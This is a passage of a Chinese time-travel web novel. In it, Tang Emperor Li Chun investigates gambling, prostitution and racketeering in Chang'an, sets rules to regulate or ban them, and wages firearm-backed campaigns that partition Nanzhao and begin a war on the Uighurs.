老人看有人向他问话,便止住了哭声,说道:“那个就是我不争气的儿子,家里穷,本来就没有多少钱,今天又被他把家里仅有的一点钱拿出来赌,家里已经断炊了,正想找钱买点吃的,怎么都找不到,我就估么着是他拿走来赌场了,刚来就发现他已经输光钱,被人打出来,我以后还怎么活呀”说完,又掩面而泣。
李纯颇为同情这个老人,就对他说:“你还没吃饭吧,现在也到中午饭点了,陪我们一起到旁边的饭馆去吃点吧。”
老人有点意外,就说:“我都不认识你,吃你的饭怎么好意思?”
李纯道:“没事,我们本来就要吃饭,多个筷子而已,我们是外地人,正好可以向你问问长安的情况。”
说完,李纯就带着一行人和老人一起到了一家饭馆,他们留两个人在外面照看货物,其他人就进入店里吃饭,李纯和崔群、郭钊、纪奎、老人坐一桌,其他护卫在旁边挑了两个桌子分开来坐。
老人还有点不好意思,说:“让你们破费真有点过意不去,你们是哪里人,来长安办什么事。”
李纯坐定后说道:“敝人姓李,是洛阳人,他们都叫我李老爷,这是纪老板和崔员外,我们一起出来做皮货生意,初来乍到长安,不甚熟悉,所以问问情况。”说的时候,还指了一下纪崔二人。
正说着,郭钊已经招呼店家端上几个菜品,拿来一些包子馒头,招呼大家来吃。
老人估计也是饿坏了,也不客气,拿起一个肉包子就吃,边吃边说:“我都好多天没碰到肉了,肉包子真好吃,李老爷你有啥话,尽管问。”
李纯问道:“老丈,你是长安人吗?现在百姓生活不是改善了吗?你怎么还如此穷困?”
老人吃了几口后,赶忙答道:“不瞒李老爷,小老儿姓赵,是长安西北的乾县人,原本是给人种地的佃户,一年到头挣的不够温饱。
因为老婆死得早,自己拉扯一个儿子,前年听说长安开了很多工厂,店铺也在招人,挣钱比农村容易,就带着儿子来到长安谋生,刚开始在一家铁厂干活,父子两人拿的工钱比种地强多了,眼看生活有了盼头。
没想到我儿子交了一帮狐朋**,引诱他去赌场**,说是可以赚大钱,结果输了个精光。后面我儿子为了筹集赌资,偷了铁厂的铁器去卖钱,偷了两次被铁厂发现,把我们父子都赶出来了。
出来以后,我儿子也不正干,继续去赌,我只能打点零工,好不容易攒点钱,又被他偷出来赌,全部输光,都不知道后面的日子怎么过。”
李纯气愤地说:“这个**真是害人,硬是把好好的生活搞成这样。”
老人叹了一口气:“我现在都后悔了,本以为到城市里能挣钱,没想到这里诱惑也多,儿子跟着学坏了,还不如在农村给人种地。”
崔群感慨道:“看着长安锦绣繁华,没想到还有这些问题,你老来长安也有两年了,长安还有没有其他问题?”
老人接着介绍:“长安看着繁华,其实也是一个销金窟,除了赌场,还有妓院、五石馆、斗鸡场,都是烧钱的地方,我认识一个人,原来家里有点钱,后来因为吸食五石散,耗光了家资,现在也是穷困潦倒。”
李纯清楚,五石散乃西晋何宴所创,由五种材料混合研磨而成的一种粉剂,吸食以后具有致幻、兴奋的快感,但是价格高昂,对身体具有损害性,相当于一种**。
李纯正色道:“这个五石散不能吸,不仅价格高,而且对身体有损害。”
老人点头说:“谁说不是,我认识的那个人,不仅家财耗光了,身体也大不如前,没法挣钱,只能靠乞讨为生。”
李纯关切地问:“老丈现在这种情况,不知有何打算?”
老人无奈地说:“儿子这个样,我也管不住,我想还是自己回老家种地算了,但是现在身无分文,哪里也去不了,只能先干点零活凑合着吧。”
李纯看老人也可怜,动了恻隐之心,就说:“我们生意人,赚钱来的容易,我这里有二两银子,可以赠给老丈,帮你度过难关,也可助你回乡。”
说完朝纪奎使了个眼色,纪奎当即拿出二两银子,送给老人。二两银子在当时是不少钱,老人刚开始还推辞,后面看到李纯是真心相赠,就感激着收下了。不想李纯这大方的举动,被店里的一个食客看在眼里,记在心里,吃完饭后悄悄的走了出去。
李纯等人吃完饭,就走出店外,和老人分别,继续沿街走动。
李纯感叹道:“崔员外,没想到长安繁荣背后,还有这些藏污纳垢的东西,真是让人叹息。”
崔群则说:“李老爷,任何事情的发展都有其两面性,有时不免泥沙俱下,但是总体还是好的,老百姓的生活好了不少。”
李纯仍然有些忧虑:“这些发展中遇到的问题也要想办法解决,不然会一直腐化人们的思想,最后盛极而衰。”
崔群非常赞同:“对,朝廷一定要拿出点措施,不然任由这些灰产野蛮发展,会起到很大的破坏作用。”
李纯一行,一般都是纪奎带人走在前面,郭钊带人走在后面,李纯和崔群走在中间,既是为了安全,也是李纯不想惹人注意。
当他们走到一家名叫怡情院的妓院时,只见门前站着几个花枝招展的**,风骚妩媚,看到路过的那人就打情骂俏,不断上前招揽顾客。
当她们看到纪奎一行人,认定领头的纪奎是个有钱人,上来几个人就一边拉扯,一边甜言蜜语,把他往店里拉,李纯和崔群等人见状,连忙往后面退。
纪奎被几个**拉着,又不敢进去,只能一边焦急的看着李纯,一边喊道:“不要拉,我就是路过的,我不进去”。
正拉扯着,从妓院里走出一个人,怀里还拥着一个**,对着纪奎说:“纪兄,你也来怡情院来玩呀。”
纪奎连忙说:“我只是路过,不是来玩的。”边说还边向他使眼色,那人往纪奎身后一看,认出李纯和崔群,赶忙甩开**,低头慌忙离开。
李纯看出来了,此人是工商部少卿崔伦,作为朝官,居然也跑到花街柳巷来寻欢作乐,当即露出不悦的表情。
崔群看出李纯有点不高兴,感觉也逛得差不多了,就说道:“李老爷,该看的都看了,我们回去吧。”
李纯也不想再逛了,就和纪奎等人掉头往回走,刚走出一段,突然前面被十来个人挡住去路。
领头的是一个三十多岁的青衣大汉,对李纯等人说:“你们是外地的吧,不懂规矩,来老子的地面上做生意,还没孝敬点东西就想走?”
纪奎连忙上前说道:“我们是洛阳来长安做皮货生意的,不知道这里有啥规矩,要给什么东西。”
青衣大汉也不废话:“不知道,就告诉你,凡是来我们的地面上做生意,就必须按货价抽两成给我们,看你这有五车皮货,干脆给我们一车,就放你走!”
崔群说:“放肆,在天子脚下,堂堂京城,凭什么给你一车皮货,你们还要拦路夺财不成?”
青衣大汉蛮横地说:“看来你是敬酒不吃吃罚酒,这里是老子的地盘,让你交就得交,听说前面你们出手很大方,给了一个老人二两银子,不留皮货也行,留给老子二十两银子,就放你们走。”
李纯冷冷地说:“看来你们是收保护费的,但凡能干这一行的,都有官府的人庇护,你们也不例外吧。”
青衣大汉得意起来:“算你聪明,此处的捕快头是我哥们,你们老实交二十两银子,没你们的事,否则就搁在这里不要走了。”
郭钊看形势不对,早就派人招呼附近的御林军暗探围过来,不一会就有一百多人赶过来,各个身怀绝技、暗藏武器,**的人数不断增加。
青衣大汉等十来人,看形势不对,连忙说:“不好意思,兄弟我认错人了,现在就走。”然后就招呼身边的兄弟想走。
李纯对郭钊使了个冷峻的眼神,郭钊大喊一声:“拿下!”立即涌过来几十人把这十来个人按倒在地。
李纯厉声道:“把这些人押到察访司,由纪奎带人审问清楚,而后向我禀报。”
听到这些,青衣大汉感觉惹到不该惹的人了,不禁直冒冷汗,连忙求饶,郭钊和纪奎理都不理,直接命人将其押走。
李纯彻底没了心情,直接返程回到宫里。
李纯回去以后,心中久久不能平静,他想,自己花了那么多精力,好不容易让唐朝逐渐富强,经济上卓
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有成效,百姓生活富足了,但是一些灰色产业也悄然发展,影响社会的稳定,甚至还有一些地痞流氓组成的**组织,乱收保护费,如果不严加打击,会严重扰乱来之不易的良好形势。
第二天,纪奎进宫向李纯禀报,经过按察司的审问,这些人都是长安当地的一帮地痞无赖,跟当地的捕快有所勾结,到处敲诈勒索,收取保护费,成为当地一害。
李纯道:“既然案情查明,你就把他们交给京兆府,让京兆府量罪判刑,你们按察司监督,绝不能轻饶。”纪奎领命而去。
思前想后,李纯决定召开一次朝会,讨论对这些问题的处理。朝会上,先由崔群将情况给各位朝臣介绍一下,然后李纯让各位大臣发言,寻求解决之道。
武元衡直接说:“以臣之见,应该把什么妓院、赌场、五石馆统统都关掉,严打那些黑恶势力,省的他们祸害百姓。”
李巽不太赞成:“臣以为,妓院和赌场固然不好,但是他们交了很多税收,如果全部关掉,对朝廷收入影响很大,还是以整顿规范为主。”
程异洞悉人性,说道:“是人都有个嗜好,就算把这些场馆都关掉,这些行业全部转移到地下,还是会有人去做,还是应该区别对待,不应该一刀切全关了。”
韩愈非常不满:“你们说的是什么话,为了一些税收,放任这些灰色产业污染社会,让人们学坏,这是舍本逐末。”
李纯说道:“朕那日回去也冥想了很久,那些以灰色产业确实对社会的发展具有负面作用,必须要予以限制,但也要区别对待,比如那些妓院,存在了千年之久,就算强行关掉了,但是人的欲望依然存在,这些娼妓就会转移到地下,成为暗娼,根本没办法彻底禁掉。五石散就不一样了,人们对它的需求并非与生俱来,这个东西到了西晋才有,吸食成瘾,戕害人的身体,必须要彻底禁掉。至于赌场,朕觉得危害也比较大,但是赌性似乎也是一些人的天性,能不能禁掉也是个疑问,大家可以议一下。”
李巽首先发表观点:“很多人天生就有赌性,输赢也是自己的钱,臣以为可以适当管制,不必彻底禁掉。”
武元衡有不同意见:“输赢未必是自己的钱,很多赌徒上了瘾,会拿家里的钱,甚至房产、地产去赌,搞得一些家庭倾家荡产,臣还是认为要禁掉。”
李吉甫不可置否:“**这事可大可小,难以做到一刀切,大型赌场可以禁,但是几个人躲在家里随便玩点小钱,怎么来定罪,如何来禁止?”
韩愈仍旧持强硬立场:“对于赌场要禁止,对于私下**涉及钱财的,只要发现,也要视情节给予定罪,引导社会有个好的风气。”
李纯道:“**肯定是不好的,本应禁掉,但是人的赌性如何禁的掉,如果全面禁止,他们就会转移到地下,暗地里存在。朕有一个思路,那就是实行严格的管制政策,不得在城市和人口密集的地方设置赌场,每个道可以在一个偏远的地方,设置一个封闭的区域,在里面开设几家赌场,满足一些顽固赌徒的需要,征收较高的税率,其他地区一律禁止赌钱,发现以后予以严惩。”
李吉甫赞道:“陛下说的办法好,人都禁不住诱惑,赌场开设在城市里肯定会吸引人过去,在偏远地方设立赌场,去的都是特别喜欢赌的,既给他们留一个出口,也可以收一些赋税。”
李纯继续说:“不仅如此,每个道留下一个偏远的地方可以设立赌场,这些合法赌场抓赌最积极,否则那些违法私设的赌场会抢他们生意,他们会很尽心的监督举报,帮助官府清理各地遍布的违法赌场。”
程异附和道:“陛下这个主意确实妙,这叫以点带面,以赌治赌,朝廷既可以收税,又可以压制大部分地方的赌钱风气。”
李纯开始布置任务:“关于封禁五石馆、限制风月场所、限制赌场的事宜,均属于工商业的范畴,就由工商部牵头抓落实。”
程异当场表态:“臣谨遵圣意,回去就制定措施,该禁的禁,该限制的限制。”
李纯又道:“关于**组织,必须要严厉打击,由刑部牵头,会同京兆府,在长安开展一次打黑除恶的严打活动,务必把那些黑恶势力一网打尽,待抓出成果,再推广到其他地方,对黑恶势力形成高压之势。”
高郢也表态说:“臣这就回去布置,会同京兆府开展严打活动,抓一批典型的黑恶分子。”
第64章 整顿灰产
程异回去忙乎了好几天,按照李纯的意思梳理了好几条办法,经过中书省的讨论,最后由李纯批准实行,对灰色产业进行规范和限制,具体的措施有:
一、不得在公开场所开设风月场所,只能在各州(府)划定的相对隐蔽、封闭的区域开设,需申请营业许可,缴纳赋税,风月场所不得在店外胡乱招徕顾客,不得招引和接待18岁以下人群,严厉打击违法经营的私娼暗妓。
二、全面限制**行为,每个道只能申报一个相对偏远的区域,经工商部批准后才能开设赌场和具有**性质的斗鸡场等场所,需申请营业许可,缴纳赋税,严厉打击私开赌场、聚众**和押注斗鸡、斗狗等行为。
三、严禁开设五石馆、吸食五石散,一经发现立即取缔,经营者、组织者抓去问罪,违法所得,全部没收,涉案人员轻则流放,重则杀头。
高郢这边会同京兆府开展了轰轰烈烈的打黑除恶行动,发动群众提供线索,很多受到过戕害的百姓纷纷举报。
刑部和京兆府开展大规模抓捕行动,并进行调查审问、搜集证据,抓捕处理了一批群众反映强烈、罪大恶极的**分子,很多被定罪判刑。
经过打黑除恶活动,社会上乱收保护费、强买强卖、欺凌弱者的行为受到了严厉打击,有效的整顿了社会秩序,百姓们拍手称快。
工商部出台的政策执行起来相对麻烦很多,有的禁止、有的限制、有的规范,涉及到很多细节问题。对待五石馆,程异比较简单粗暴,全部一刀切关掉,由于数量不多,而且百姓深恶痛绝,工商部执行起来难度不大。
对于风月场所,则相对麻烦一些,工商部和京兆府找了一些相对隐蔽的场所,周边采取了一些隔离措施,给几家声誉还算好的妓院,发放了营业许可。
刚开始只是三条胡同,后面其他公共场所陆续被封禁,又迁来不少,最后拓展成六个胡同,被称为长安六大胡同。
在各个胡同的出入口,都会有官府的暗探,对于未成年人、身穿官服、儒服或者佩有爵位标识的人,一律驱离,只允许普通百姓模样的成年男女出入,防止造成不良社会影响。
对于赌场,则更加麻烦,京畿道在长安西南的周至县,选择一个相对较为偏僻且封闭的区域,作为涉赌场所的合法经营区。
周至的场地由于离长安城比较远,而且位置偏僻,刚开始只有几家赌场、斗鸡场搬过来,很多赌场选择了在长安城内隐蔽经营。
但是天下没有不透风的墙,经过工商部多轮打击,那些私设赌场被处罚的很惨,赌客都是胆战心惊的,后面很多赌客宁愿走远路,也跑到周至这边来赌,可以玩的比较尽兴,不用怕被抓。
周至赌城周围用高墙围挡,外面又种了大量的树木,最外面还挖了一道一丈宽的沟渠,外界的普通百姓根本无法接近,只有赌客才能从大门进入。
经过半年多的发展,周至的赌城逐渐兴旺起来,每天都能来不少赌客,后来赌城内的十几家赌场、斗鸡场联合派出暗探,打探长安城内私设赌场的情况,一有线索立即举报,搞得长安城内的私设赌场根本无法立足,更多的赌客跑到周至赌场。
对于赌场、妓院的处理,程异花了很多心思,他认为那些要求禁止赌场、妓院的人,说的容易,根本做不到,一旦转移到地下更难管理,到时候出了问题只会批判工商部,都是些只会唱高调的**子。
对于妓院,只能严格限制,减少负面作用,未成年人、有爵位的人、官员、儒生等会产生不良社会影响的一律不让接近,而且这些妓院限制在封闭的区域内,也没法影响外界,在官府的严密管控下,他们也不敢越过官府划出的红线。
工商部要求那些妓院定期对**进行体检,防止传播疾病,如果有人投诉,还会进行专门的检查,看是否有出格的经营行为。
对于赌场,限制的更严,远离城区建立一个非常封闭的区域,对申请设立的赌场进行审查,曾有过不良记录的一律拒绝,只接受信誉比较好的人员设立赌场、斗鸡场,这些赌场、斗鸡场在官府的严密管控下,不敢采取杀猪盘、欺诈的方式,经营相对规范一些。
经过合法赌场的持续举报和官府的连续打击,长安城内的私设赌场被消灭殆尽,聚众**被禁止,有效净化了城内的不良风气。
周至赌城则逐渐发展起来,那里赌场、斗鸡场经营的比较规范,不敢乱搞,一些资深赌徒都愿意跑到那里去赌。
程异认为,像五石散这种**性质的场馆,必须要把禁掉,不然毒害太大。
像赌场这种既有负面危害,又难以彻底禁掉的行业,采取严厉管制加留个小口的方式,既满足了一些嗜赌人员的需要,又不让普通百姓接触,算是最大限度限制了其负面作用,又能给官府带来一定的收入。
那些风月场所本身负面危害不大,但是会影响社会风气,限制特定区域、限制特定人群,也是在最大减少负面影响的情况下,也给官府带来一定的收入。
李纯对于两个部门的整顿活动观察了一段时间,期间还让纪奎带着暗探去察访核实一番,总体还算让他满意。
李纯认为,社会发展的过程中,不可避免的出现稂莠不齐的情况,要想彻底禁止一些不良现象是不可能的。有些嗜好扎根于人性深处,不是谁想除就能除掉的,一概封禁只会让他们与利益集团勾结,在利益集团的保护伞下继续暗地存在。
李纯在忙完社会问题的整顿后,开始认真考虑下一步的战事。吐蕃打下之后,对唐朝构成威胁较大的有两个,一个是回鹘,一个是南诏。
在安史之乱时,回鹘曾经出兵帮助唐朝平叛,后面虽然和唐朝发生过几次局部战事,但是主要是抢掠财物,没有强占土地,危害没有吐蕃那么大。
南诏曾经配合吐蕃抢掠西川一带,在韦皋主政西川时期,与唐朝开始和睦相处,没有再发生过战事。
对于回鹘,李纯认为其为北方的一大势力,动不动就是一二十万铁骑南下抢掠,必须要打击其实力和气焰,然后对其分化瓦解,分成几个依附唐朝的小势力,才能保持北方边境的安定。
对于南诏,李纯看上了其东部三州一带的土地,这里在前世属于西昌、昆明、红河一带,这片土地肥沃,适合汉人生存,又卡在西川和安南之间。打下来可以扩展大唐的领土,也可以打击南诏的实力,解除西南方向的威胁。
除了回鹘和南诏,李纯还盯上了流求岛,也就是前世的台湾岛,这个岛屿离大陆不远,土地比较肥沃,可以趁此机会拿下来,进行移民开垦,扩展唐朝的东南空间。
元和八年初,李纯正要考虑以什么借口挑起战争,没想到回鹘主动送上门来,回鹘崇德可汗向唐朝派出使者,要求两国和亲,想求娶大唐的公主为妻。
李纯认为,对少数民族和亲,是在不得已的情况下采取的妥协政策,当年昭君出塞、文成公主,牺牲了女性的幸福权,仅换取短暂的和平,后面他们去世后,边疆地区烽烟再起,根本就是治标不治本的策略。
目前唐朝国力强大,就是要趁机打出去,彻底消灭这些少数民族政权,把他们肢解削弱才行,还和什么亲,直接拒绝。
崇德可汗本想通过和亲和唐朝拉近关系,没想到唐朝根本不给面子,把他气得半死,当即派出人马到唐朝边境掳掠,企图挽回颜面。李纯正愁没有借口,既然送上门来,就让平胡军直接发起反击,把进入唐境的回鹘骑兵打的大败而归。
击败回鹘的侵扰后,李纯就下令南北几个军团做好战事准备,待朝廷一声令下,可以随时打出去。按照汉人的习惯,自然是先礼后兵,李纯先后给回鹘和南诏送去诏书,提出要求,否则就大规模开战。
唐朝对回鹘的诏书说,回鹘作为北方的大国,多次派出骑兵威胁唐朝的北部边境,唐朝为了保障双方的和睦关系,回鹘应当按照血缘关系和部族分成几部。
可汗的兄弟子侄均可自领一部,被回鹘统治下的其他民族也可以自领一部,只要向大唐表示臣服,并每年上缴贡赋,都会被大唐承认为独立政权,受到唐朝的保护,否则就只能诉诸于战争。
回鹘崇德可汗面看到唐朝的诏书,觉得分明就是肢解回鹘的方案,等同于让自己这个可汗下台,自然是明确拒绝。但是其他回鹘王族和部落首领却有不同想法,他们说唐朝军力强大,去年把吐蕃打的大败,最好还是跟唐朝和平解决。
崇德可汗认为自己
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占有地利优势,按照胡人的传统,要经过战斗定输赢,不可能都没打仗就直接认输,回鹘内部经过讨论后,最后还是决定对抗唐朝。
唐朝对南诏的诏书要求,南诏必须归还曾经侵占唐朝的会川(今四川凉山一带)、拓东(今云南昆明、曲靖一带)、通海(今云南红河、文山一带)三地,南诏可向其他方向拓展国土,否则唐军将武力夺取三地。
南诏国王牟异寻认为,会川、拓东、通海仅在唐朝前期被短暂统治过,生活的又都是蛮人,目前已经是南诏国的一部分,唐朝直接索取三个大州的理由并不充分。南诏内部对这个要求普遍不满,虽然惧怕唐朝讨伐,最后还是拒绝了唐朝的要求,决定派兵抵抗。
元和八年春,朝廷收到了两国的回复,李纯对回鹘的回复不意外,觉得南诏简直是自不量力,既然南诏选择抵抗,李纯决定不仅要夺取他的东部三州,还要把南诏剩下的国土也肢解掉。
李纯决定先在气候温和的南方用兵,2月份,高霞寓率领平蛮军从眉州出动,往西南朝大渡河进发。南诏在大渡河沿岸布置了3万多人,企图阻止唐军过河。
高霞寓前面参加过对刘辟的讨伐,元和七年又参加对吐蕃的战事,积累了丰富的战斗经验,对攻破南诏的防御早就胸有成竹。唐军首先向河对岸的南诏军进行炮轰,在高处设立观察哨进行指挥,哪里有人就往哪里炸,炸的南诏人仰马翻。
南诏军本来想趁着唐军渡河时用**射击,没想到唐军不按套路出牌,先用大炮轰击南诏军,大炮的射程比**远,南诏军无力反击,只能被动挨打。
打了一天,南诏军就有点顶不住了,大部队纷纷找隐蔽的地方躲藏,派少量人员观察,准备等唐军渡河时再反击。
平蛮军副将王之孝带领水军,从嘉州(今四川乐山)出发,在望星驿一带登陆,从侧后攻击大渡河的南诏守军,打的南诏军猝不及防,立即派兵掉头迎击望星驿的唐军。
高霞寓趁机率领平蛮军主力渡河,从两个方向同时夹击,打的南诏军大败,不得不退往清溪关固守。
清溪关为南诏在北部的险关,地势险要,是唐军攻下会川的必经之路。放在以前,这种险关唐军打起来会很难,现在有了火器,唐军根本不怕,决定采取正面强攻、侧翼打击的方式攻打。
由高霞寓带领炮兵在前方对着清溪关猛轰,炸的关口一片狼藉。王之孝带领少数精兵,携带**和**,从山间小路爬到清溪关附近的山头上,占据有利位置后,唐军不断向清溪关扔**,打冷枪。面对唐军的前后夹攻,南诏守军无力反击,纷纷找地方躲避火器的攻击。
看到清溪关正面基本没有南诏军在抵抗,高霞寓指挥**队,对清溪关进行一阵猛攻。
南诏军刚开始还用弓箭反击,被唐军密集的火力打的纷纷中枪倒毙,剩下的南诏军看到形势不利,当即撤退,但是唐军紧追不舍,跑的慢的南诏军纷纷投降,前后只经过三天,唐军顺利拿下清溪关。
前后不过十天,唐军先后攻破南诏的大渡河、清溪关两个重要防线,南诏损失两万多精锐,很多南诏士兵尝到了唐**器的厉害,丧失了抵抗的意志。
待高霞寓带领平蛮军到达会川的府城三阜城(今四川西昌)时,这里的南诏军主力已经逃跑,仅留下一些老弱病残在守城,经过一阵劝降,唐军顺利收复三阜城。
对于攻打南诏,高霞寓信心满满,南诏军的实力比吐蕃军弱,唐军的武器优势明显,南诏早晚会屈服,让高霞寓忧心的是后勤和瘴气。
南诏一带,山路崎岖,通行不便,山区内又多瘴气,运送物资较难,士兵容易生病。高霞寓决定在三阜城休整一段,就地筹备物资,医治伤病员,待休整准备充分后,再攻打拓东。
在高霞寓率军在北路猛攻时,吸引了南诏军主力在北部防御,南方兵力相对较少,蒋义率领平南军按照计划,从南线发动攻击。
平南军从交州出发,溯红河而上,向通海进发,一路顺利攻下边关隘口贾勇步,然后直扑通海府城目则城(今云南蒙自)。南诏军在通海只有一万多人防守,在兵力和武器上根本不是平南军的对手,只三四天的功夫,平南军拿下目则城。
第65章 收服南诏
平南军长期驻守南方,对南诏的气候适应性更好,而且一路沿着红河进发,河运保障比较方便,虽然发起攻击晚了半个月,但是后续进展很快,拿下通海以后直接向拓东进发。
平蛮军在三阜城休整十天左右,即向南进发,目标也是拓东城。在三月下旬,两军会师于拓东城下,将拓东城围困。拓东是南诏在东部的重镇,重要性仅次于都城太和城,南诏在这里派了三万大军驻守。
高霞寓和蒋义商议以后认为,拓东是南诏重镇,南诏不可能坐视其丢失,肯定会派援军过来,干脆来个围城打援,解决掉援军以后再集中兵力打攻城。两个将领进行分工,由平南军负责围困拓东城,由平蛮军设伏,打击援军。
高霞寓选择在拓东城以西,往太和城方向过去的必经之路上设伏,并派出斥候,观察西面南诏援军的动向。不到十日,南诏果然又派了三万大军前来解围,高霞寓接到探报后,立即命令军队进入迎战状态。
南诏国力不强,先后被唐军消灭了好几万军队,已经有所畏惧,但是拓东非常重要,不容有失,南诏决定将剩余的机动兵力全部派过去,企图挽救危局。南诏援军急于去解拓东之围,骑兵在前,步兵在后,一路往拓东快速赶去。
高霞寓看到南诏援军进入伏击圈,并不着急,放过先头部队,等主力也进入后,唐**炮齐鸣,全面开火,南诏援军根本没有见过这种阵势,被打蒙了,急忙四处突围,躲避枪炮火力。
南诏军属于蛮人,有股蛮劲,有些南诏兵还挥舞着大刀朝开火的唐军冲去,但是被唐军密集的火力打的死伤惨重,只有少数南诏军突入唐军阵营,杀了几个唐军,然后也是被全部射杀。
南诏军前面靠着一股蛮劲猛冲了一番,看到根本不是唐军的对手,立马泄了劲,不是逃跑就是投降。
经过两三个时辰的激战,大约有一万南诏援军被射杀,一万人被俘,还有一万人从山间密林里逃跑。那些逃跑的南诏军,不敢再去拓东城,翻山越岭后全部哀嚎着逃往太和城。
伏击结束以后,平蛮军押着一万俘虏,来到拓东城,要求守军投降。拓东守将通比能傻了眼,本想着靠援军解围,没想到援军败的这么惨,这次是彻底没指望了。
思前想后,通比能认为,拓东守军不管是在人数上还是武器上,都不是唐军的对手,继续死磕就是死路一条,决定投降。
高霞寓和蒋义对于通比能的投降非常高兴,立即派兵进城接收拓东防务,城内的守军则全部出城,放下武器后,待在指定的区域内,由唐军看管。
拿下拓东后,唐军自然是应该继续向太和城进军,按照李纯的计划,彻底肢解南诏。
高霞寓和蒋义觉得,前面一万俘虏,加上新投降的三万人,总共四万人是个问题,杀了省事,但是肯定遭人唾骂,逼得南诏人拼死抵抗,留下吧,两军进攻太和城,万一他们在后方反叛怎么办?两个将领认真讨论了一番,决定来个以蛮制蛮。
高霞寓和蒋义将通比能召来,高霞寓先说:
“我朝皇帝仁德,本来就只想要南诏东部三地,没想到你们的国王竟然敢于派兵抵抗,所以必须要严惩,我朝的意见是,把你们的国王抓住,其他地方分成几个小国,分开治理,每年称臣纳贡即可,我们就退兵。”
通比能说:“都是我们朝中一些顽固派大臣惹的祸,我愿意作为使者,回到太和城,劝大王回心转意,接受唐军条件。”
蒋义说:“不必了,你们蛮人信强不信理,我们决定直接进兵太和城,打到你们的国王投降为止。但是我们走了,你们四万俘虏怎么办,是杀是留,我们还没有定论。”
通比能一听这话,开始紧张了,连忙说:
“唐朝历来是礼仪之邦,没有杀降的例子,我们都已经投降了,你们让我们做什么都可以,可不能做出冲动之举。”
蒋义唱完黑脸,高霞寓自然要唱红脸,高霞寓说:
“我们当然不会杀降,但是你们留在拓东肯定也不合适,我们给你们两条路,一是跟着我们一起去打太和城,二是敢于拒绝就只能杀掉。”
通比能听说要让自己带兵打自己的国王,有点犹豫了,说道:
“这样吧,唐军可以把投降人员全部带上枷锁,你们派少量人员留在这里看管就行。”
蒋义说:“到哪去找几万个枷锁,还要给你们准备口粮,也是个麻烦事,不如杀了算了。”
高霞寓跟着说:“我估计你们在太和城也没有多少人马了,我们如果打过去,旦夕可下,到时候要把南诏分成好几个小国,再封你为其中一个小国国王,不是挺好吗,干嘛留在这里遭罪。”
蒋义和高霞寓一唱一和、软硬兼施,逼得通比能没得选,只得说:“既然你们坚持要拓东,我们留在这里也没有意思,还希望你能遵守承诺。”
蒋义和高霞寓要的就是南诏降兵服软,两人商定从四万人中挑选三万战斗力较强的,由通比能率领,作为唐军的仆从军,另外留一万弱兵作为人质,留在拓东。两个军团留一万人镇守拓东,看押人质,其余近五万人,带着三万南诏降军,向太和城进发。
前面溃逃的一万援军,早就逃回太和城,到处描述唐军的凶猛,太和城弥漫着恐惧的情绪。由于主力基本都派出去了,太和城只剩不到两万守军,根本没法守,南诏朝廷再也没人敢喊抵抗了。
唐军带着南诏仆从军,经过十几天的行军,来到太和城,只见太和城城门紧闭,如临大敌。唐军打下太和城自然不成问题,但是如果能和平解决当然更好,于是提出条件,派通比能进城和谈。
通比能进城后,向南诏朝廷通报了唐军的条件:1、南诏国王退位,到长安居住,唐朝将给予较好的待遇;2、正式割让南诏东部三地,交给唐朝;3、南诏剩余领土分为四个小国,由南诏王族或者大臣担任国王,向唐朝臣服,每年纳贡。
南诏国君臣听到了唐朝的条件后,内部发生了激烈的争执,国王牟异寻认为,南诏还有半壁河山,而且西部是南诏的大本营,还可以抵抗一阵,不愿意当**之君,想率军向北突围,然后利用南诏西部山高林密的优势,跟唐军打游击战,逼唐军撤退。
牟异寻的意见受到了几个主战派将领的支持,但是大部分大臣认为唐军实力强大,连战皆捷,南诏军根本不是唐军的对手,不愿做无谓的牺牲,而且东部三地已经丢失,不割让也要不回来了,其他国土只是分割,还是由南诏人自己统治,觉得这个条件不算苛刻,可以接受。
牟异寻还想争取通比能的支持,让他带着三万南诏降兵反水,与南诏军内外夹击,可以一举击败唐军。通比能听了,吓得直摇头,他深知唐军的厉害,而且军中还有唐军的监视人员,一旦有异动,自己就是灭顶之灾。
况且,唐军已经答应,让他任其中一个小国国王,自己何必冒险蹚这个浑水,直接拒绝了牟异寻。
牟异寻和众大臣商议了半天,始终是投降派占据主导地位,牟异寻考虑到,即使自己带领一两万残军成功突围,如果最后被唐军击败抓到,下场会很惨,连最后的体面也无法保持。
其他大臣心里清楚,南诏投降,他们又没损失,而且几个高官还可以做个小王,何必为了牟异寻一个人去拼命,所以议到最后,南诏最终答应投降。
通比能回去通报南诏同意投降条件后,唐军正式派平蛮军副将王之孝进入太和城谈判,由于大方向已经定了,其实就是就一些细节进行商定。
经过半天的商谈,敲定了几个具体事项:
1、南诏王牟异寻带着几个妃子和孩子跟随唐军撤走,到长安居住,一切生活由唐朝外事部保障;
2、南诏国正式下诏书,将会川、通海、拓东三地割让给唐朝。
3、将南诏国剩余果如一分为四,在其中部太和城周围,保留南诏国,由牟异寻的弟弟牟其舍为国王;在其北部建立剑川国,由其宰相莽里屯为国王;在其西部建立永昌国,由其大将布里塔任国王;在其南部建立银生国,由降将通比能任国王。
谈判结束的第二天,南诏国王牟异寻就下达诏书,将会川、通海、拓东三地割让给唐朝,并宣布退位,然后就是四个人按照分割的范围,各领自己的亲信、人马,分别建立自己的小国。
既然达到目的了,蒋义和高霞寓就带着唐军和牟异寻一家东返,通比能则高兴地带着三万降兵去就任银生国王。
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>蒋义和高霞寓率军到达拓东后,商定由蒋义率领平南军暂时镇守夺取的三地,高霞寓则率领平蛮军和牟异寻一家返回西川,然后再派人送牟异寻一家到长安。
高霞寓则派人将牟异寻一家送到长安,并带去奏书,汇报两军平定南诏和谈判的情况。李纯对两个将领的表现非常满意,专门奖赏了一番,并安排外事部将牟异寻一家妥善安置,给予较好的生活待遇。
三地并入唐朝以后,朝廷将通海、拓东、会川三地全部划归黔中道,将通海改为蒙州,将会川改为昌州,将拓东分为昆州和靖州,由朝廷重新委派官吏,并鼓励汉人到三地开垦定居。
元和八年四月,在南诏的战事顺利进展时,唐朝发动了对回鹘的战事。由武元衡坐镇云州(今山西大同),指挥平胡军、平辽军、镇北军,加上一些后勤运输部队,约十万人,分三路进攻回鹘。
其中以平胡军为中路军,从云州向北进发;以平辽军为东路军,从妫州(今河北怀来)进发;以镇北军为西路军,从丰州(今内蒙古五原)进发。
按照李纯的指示,武元衡给三军下达命令,采取战抚两种手段对待回鹘。对于只要是肯投降唐军的部落首领、回鹘王族,一律保留其部众,给其一个合适的封号。对于顽固到底,对抗唐军的,给予坚决打击,直至消灭。
由于回鹘位于漠北,地幅宽广,带重炮负担太重,唐军主要携带轻型火炮和**、**,计划在运动中歼敌。三路大军,平行向北进发,寻找回鹘主力,一路上,佛挡杀佛,神挡杀神,向北横扫平推。
